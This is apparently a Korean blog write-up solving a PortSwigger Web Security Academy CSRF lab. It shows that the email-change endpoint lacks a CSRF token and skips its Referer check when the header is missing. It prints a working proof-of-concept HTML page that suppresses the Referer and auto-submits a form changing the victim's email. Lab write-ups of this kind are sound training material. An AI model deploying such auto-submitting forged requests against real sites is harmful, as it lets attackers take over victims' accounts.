반응형
문제 설명
피해자의 이메일을 변경하면 문제를 해결할 수 있다.
문제 풀이
My Account 페이지에 접근하여 이메일 변경 요청을 진행한다.
이메일 변경 요청시 CSRF 토큰이 존재하지 않는다.
Referer 헤더 변조 시 Referer 검증 로직이 존재하여 에러가 발생한다.
Referer 헤더가 포함되지 않은 요청에 대해서도 서버가 정상적으로 응답하므로, Referer 검증이 수행되지 않는 것으로 판단된다.
POC
meta 태그 no-referrer 설정을 통해 referrer를 전송하지 않고 CSRF 공격을 수행한다.
<html>
<head>
<meta name="referrer" content="no-referrer">
</head>
<body>
<form action="https://0ac1005c0353903e803a0d47005a0046.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="wiener123123@normal-user.net" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
공격 코드를 피해자에게 전송하여 문제를 해결하였다.
반응형